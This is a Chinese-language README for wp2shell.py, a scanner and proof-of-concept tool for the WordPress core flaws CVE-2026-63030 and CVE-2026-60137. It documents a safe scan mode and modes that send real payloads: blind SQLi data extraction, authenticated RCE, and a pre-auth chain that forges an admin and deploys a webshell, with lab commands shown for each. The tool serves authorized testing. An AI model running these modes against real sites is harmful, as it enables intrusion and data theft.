检测和验证工具,用于 WordPress 核心对 wp2shell(CVE-2026-63030 / CVE-2026-60137)的暴露情况。通过标志选择模式,目标为位置参数。--scan 对核心版本进行指纹识别,并确认 REST /batch/v1 路由可达,且不发送漏洞利用载荷;--check/--read/--shell/--rce/--root-prereq 模式是供授权实验室使用的验证 PoC。
wp2shell.py 是一个仅使用标准库的单一脚本——无外部依赖。每次调用在运行前都会向 stderr 打印 ZephrSec 横幅(它不写入 stdout,因此 --scan -j 的 JSON 输出不受影响)。
必须且只能选择一个模式标志;目标为位置参数(每个模式接受一个 URL,或 --scan 接受主机列表)。
wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
[targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
[--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
[--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
[-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
[--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
[--timeout TIMEOUT]
深入分析博客文章:https://blog.zsec.uk/wp2shell-code-trace-deep-dive/
nuclei -t wp2shell-exposure.yaml -u https://target
单个主机、多个主机或文件。
python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt
选项:-f/--file 主机文件(每行一个)、-j/--json JSON 输出、-t/--threads 并发数(默认 10)。
--check/--read/--shell/--rce/--root-prereq 模式会发送真实的漏洞利用载荷。请仅对自带的 localhost 实验环境,或你拥有且被明确授权测试的其他系统运行这些模式。--shell 和 --rce 会执行远程代码,用于实验环境/授权目标;在非回环主机上使用 --rce 需要 --authorized。--root-prereq 使用相同的令牌门控诊断插件来检查 shell 到 root 的前置条件,但不会执行本地提权。
--shell 需要已恢复/破解的管理员密码。--rce 是 无需凭据的预认证 链:它通过 SQLi(oEmbed → changeset → 重入 parse_request)伪造自己的管理员,然后部署 webshell——无需密码。
--shell、--rce 和 --root-prereq 在发送任何代码执行载荷前会提示交互式 y/N 授权(在非交互/EOF stdin 时中止)。针对实验环境或授权目标进行自动化时,可传递 -y/--yes 跳过提示。
docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
用于支撑 PoC 的补丁差异保存在 poc/diffs/ 下,研究笔记位于 poc/RESEARCH.md。SQLi 完全可以从 author__not_in 修复重建。无需凭据的 --rce 链(oEmbed → changeset → 重入 → 创建管理员)可针对自带实验环境复现默认配置下的 RCE;--shell 是通过已恢复/破解的管理员凭据进行认证插件上传和命令执行的另一条路径。
| Flag | 说明 |
|---|
--scan | 非破坏性暴露检查:指纹识别版本 + 确认 REST /batch/v1 路由可达。不发送漏洞利用载荷。 |
--check | 通过无害的差分探测确认基于时间的盲注 SQLi。 |
--read | 通过盲 SQLi 提取数据(预设或原始 SQL 标量表达式)。 |
--shell | 使用已破解/恢复的管理员密码进行认证 RCE 链。 |
--rce | 无需凭据的 预认证 RCE:通过 SQLi 伪造自己的管理员,然后部署自清理 webshell。 |
--root-prereq | 良性 shell 到 root 前置条件检查;仅运行诊断,绝不进行本地提权。 |
| Flag | 适用模式 | 说明 |
|---|
-f, --file | --scan | 从文件读取主机(每行一个;跳过 # 注释)。 |
-j, --json | --scan | 以 JSON 形式向 stdout 输出结果。 |
-t, --threads | --scan | 扫描并发数(默认 10)。 |
--prefix | --check/--read | 数据库表前缀(默认 wp_)。 |
--delay | --check/--read | 计时 oracle 注入的 SLEEP 秒数(默认 0.15)。 |
--repeats | --check/--read | 每个比特的 N 次探测取中位数;链路噪声大时可提高(默认 1)。 |
--preset | --read | 内置目标:version、database、db_user、users、siteurl(默认 users)。 |
--expr | --read | 要提取的原始 SQL 标量表达式(覆盖 --preset)。 |
--max-len | --read | 最大提取字符串长度(默认 128)。 |
--user | --shell/--root-prereq | 要登录的管理员用户名(默认 admin)。 |
--password | --shell/--root-prereq | 管理员明文密码(破解自 --read 的哈希;这些模式必需)。 |
--cmd | --shell/--rce | 在目标上执行的命令(默认 id)。 |
-i, --interactive | --shell/--rce | 交互式 Web 命令循环,代替单条命令。 |
--no-cleanup | --shell/--rce | 保留放置的插件/webshell(仅限实验室)。 |
-y, --yes | --shell/--rce/--root-prereq | 跳过交互式授权提示(用于自动化)。 |
--sleep | --rce | 预认证 SQLi 检测注入的 SLEEP 秒数(默认 4)。 |
--rounds | --rce | --rce 检测的 N 次探测取中位数(默认 3)。 |
--route | --rce | 批处理路由形式:auto、rest-route 或 wp-json(默认 auto)。 |
--proxy | --rce | 通过 HTTP 代理路由请求,例如 Burp 监听于 http://127.0.0.1:8080。 |
--authorized | --rce | 声明对非回环 --rce 目标的授权(远程主机必需)。 |
--timeout | 全部 | 每个请求的超时秒数(默认 15)。 |